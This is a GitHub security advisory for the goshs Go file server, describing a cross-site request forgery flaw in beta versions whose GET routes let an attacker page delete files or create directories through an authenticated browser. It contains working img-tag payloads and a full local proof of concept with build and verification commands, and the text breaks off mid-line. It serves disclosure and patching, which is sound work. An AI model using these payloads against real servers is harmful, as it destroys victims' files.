GitHub Security Advisory: GHSA-jrq5-hg6x-j6g3
Package: github.com/patrickhener/goshs/v2 (GO)
Severity: MODERATE (CVSS 8.1)
CWE: CWE-352: Cross-Site Request Forgery (CSRF)
Vulnerable versions: >= 2.0.0-beta.4, <= 2.0.0-beta.5
Patched in: 2.0.0-beta.6

Summary: goshs has CSRF in state-changing GET routes enables authenticated file deletion and directory creation

Details:
### Summary
goshs contains a cross-site request forgery issue in its state-changing HTTP GET routes. An external attacker can cause an already authenticated browser to trigger destructive actions such as `?delete` and `?mkdir` because goshs relies on HTTP basic auth alone and performs no CSRF, `Origin`, or `Referer` validation for those routes. I reproduced this on `v2.0.0-beta.5`.

### Details
The vulnerable request handling is reachable through normal GET requests:

- `httpserver/handler.go:118-123` dispatches `?mkdir` directly to `handleMkdir()`
- `httpserver/handler.go:180-186` dispatches `?delete` directly to `deleteFile()`

Authentication is enforced only by HTTP basic auth:

- `httpserver/middleware.go:20-87` accepts any request that presents valid cached or replayed basic-auth credentials

The resulting state changes hit filesystem mutation sinks:

- `httpserver/handler.go:683-718` calls `os.RemoveAll()` in `deleteFile()`
- `httpserver/handler.go:961-1000` calls `os.MkdirAll()` in `handleMkdir()`

Because browsers can replay HTTP basic-auth credentials on subresource requests, an attacker-controlled page can embed:

- `<img src="http://127.0.0.1:18095/victim.txt?delete">`
- `<img src="http://127.0.0.1:18095/csrfmade?mkdir">`

If the victim has already authenticated to goshs, those requests are treated as legitimate authenticated actions and the server mutates the filesystem.

### PoC
Manual verification commands used:

`Terminal 1`

```bash
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
go build -o /tmp/goshs_beta5 ./

rm -rf /tmp/goshs_csrf_root /tmp/goshs_csrf_site
mkdir -p /tmp/goshs_csrf_root /tmp/goshs_csrf_site
printf 'delete me\n' > /tmp/goshs_csrf_root/victim.txt

cat > /tmp/goshs_csrf_site/delete.html <<'HTML'
<!doctype html>
<html>
  <body>
    <img src="http://127.0.0.1:18095/victim.txt?delete">
  </body>
</html>
HTML

cat > /tmp/goshs_csrf_site/mkdir.html <<'HTML'
<!doctype html>
<html>
  <body>
    <img src="http://127.0.0.1:18095/csrfmade?mkdir">
  </body>
</html>
HTML

/tmp/goshs_beta5 -d /tmp/goshs_csrf_root -p 18095 -b 'u:p'
```

`Terminal 2`

```bash
python3 -m http.server 18889 --directory /tmp/goshs_csrf_site
```

Victim actions:

1. Open `http://127.0.0.1:18095/` in a browser and authenticate with `u:p`.
2. Visit `http://127.0.0.1:18889/delete.html`.
3. Visit `http://127.0.0.1:18889/mkdir.html`.

Two terminal commands I ran during local validation:

```bash
test -e /tmp/goshs_csrf_root/victim.txt && echo EXISTS || echo DELETED
test -d /tmp/goshs_csrf_root/csrfmade && echo CREATED || echo MISSING
```

Expected result:

- the first check prints `DELETED`
- the second check prints `CREATED`

PoC Video 1:

https://github.com/user-attachments/assets/94b78934-0a70-479f-9b89-43a859939473



Single-script verification:

```bash
'/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc3'
```

Observed script result:

- `Delete status: DELETED`
- `mkdir status: CREATED`
- `[RESULT] VULNERABLE: attacker-controlled